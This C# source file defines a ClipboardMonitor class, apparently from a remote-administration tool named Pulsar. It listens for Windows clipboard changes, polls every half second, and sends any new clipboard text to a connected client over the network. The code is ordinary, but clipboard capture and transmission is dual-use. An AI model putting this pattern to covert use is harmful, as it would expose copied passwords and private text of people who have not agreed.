using System; using System.Runtime.InteropServices; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Pulsar.Common.Messages.Monitoring.Clipboard; using Pulsar.Server.Networking; using System.Diagnostics; namespace Pulsar.Server.Helper { public class ClipboardMonitor : NativeWindow, IDisposable { private const int WM_CLIPBOARDUPDATE = 0x031D; private Client _client; private string _lastClipboardText = string.Empty; private bool _isEnabled = false; private System.Threading.Timer _pollingTimer; private static string _lastReceivedFromClient = string.Empty; private static DateTime _lastReceivedFromClientTime = DateTime.MinValue; [DllImport("user32.dll", SetLastError = true)] private static extern bool AddClipboardFormatListener(IntPtr hwnd); [DllImport("user32.dll", SetLastError = true)] private static extern bool RemoveClipboardFormatListener(IntPtr hwnd); public static void NotifyReceivedFromClient(string clipboardText) { _lastReceivedFromClient = clipboardText; _lastReceivedFromClientTime = DateTime.Now; } public ClipboardMonitor(Client client) { _client = client; CreateHandle(new CreateParams()); AddClipboardFormatListener(this.Handle); _pollingTimer = new System.Threading.Timer(PollClipboard, null, Timeout.Infinite, Timeout.Infinite); } public bool IsEnabled { get => _isEnabled; set { _isEnabled = value; if (_isEnabled) { _pollingTimer.Change(0, 500); Debug.WriteLine("Clipboard polling timer started"); } else { _pollingTimer.Change(Timeout.Infinite, Timeout.Infinite); Debug.WriteLine("Clipboard polling timer stopped"); } } } protected override void WndProc(ref Message m) { if (m.Msg == WM_CLIPBOARDUPDATE && _isEnabled) { Task.Run(() => ClipboardCheck()); } base.WndProc(ref m); } private void ClipboardCheck() { if (!_isEnabled) return; try { if (Thread.CurrentThread.GetApartmentState() == ApartmentState.STA) { GetAndSendClipboardText(); } else { var thread = new Thread(GetAndSendClipboardText); thread.SetApartmentState(ApartmentState.STA); thread.Start(); thread.Join(100); } } catch (Exception ex) { Debug.WriteLine($"Clipboard monitor error: {ex.Message}"); } } private void GetAndSendClipboardText() { try { if (Clipboard.ContainsText()) { string clipboardText = Clipboard.GetText(); if (!string.IsNullOrEmpty(clipboardText) && clipboardText != _lastClipboardText) { bool wasRecentlyReceivedFromClient = _lastReceivedFromClient.Equals(clipboardText) && (DateTime.Now - _lastReceivedFromClientTime).TotalSeconds < 3; if (!wasRecentlyReceivedFromClient) { _lastClipboardText = clipboardText; Debug.WriteLine($"Sending clipboard text: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}..."); _client.Send(new SendClipboardData { ClipboardText = clipboardText }); } else { _lastClipboardText = clipboardText; } } else { } } else { } } catch (Exception ex) { Debug.WriteLine($"Error getting clipboard text: {ex.Message}"); } } private void PollClipboard(object state) { if (_isEnabled) { ClipboardCheck(); } } public void Dispose() { RemoveClipboardFormatListener(Handle); _pollingTimer?.Dispose(); DestroyHandle(); } } }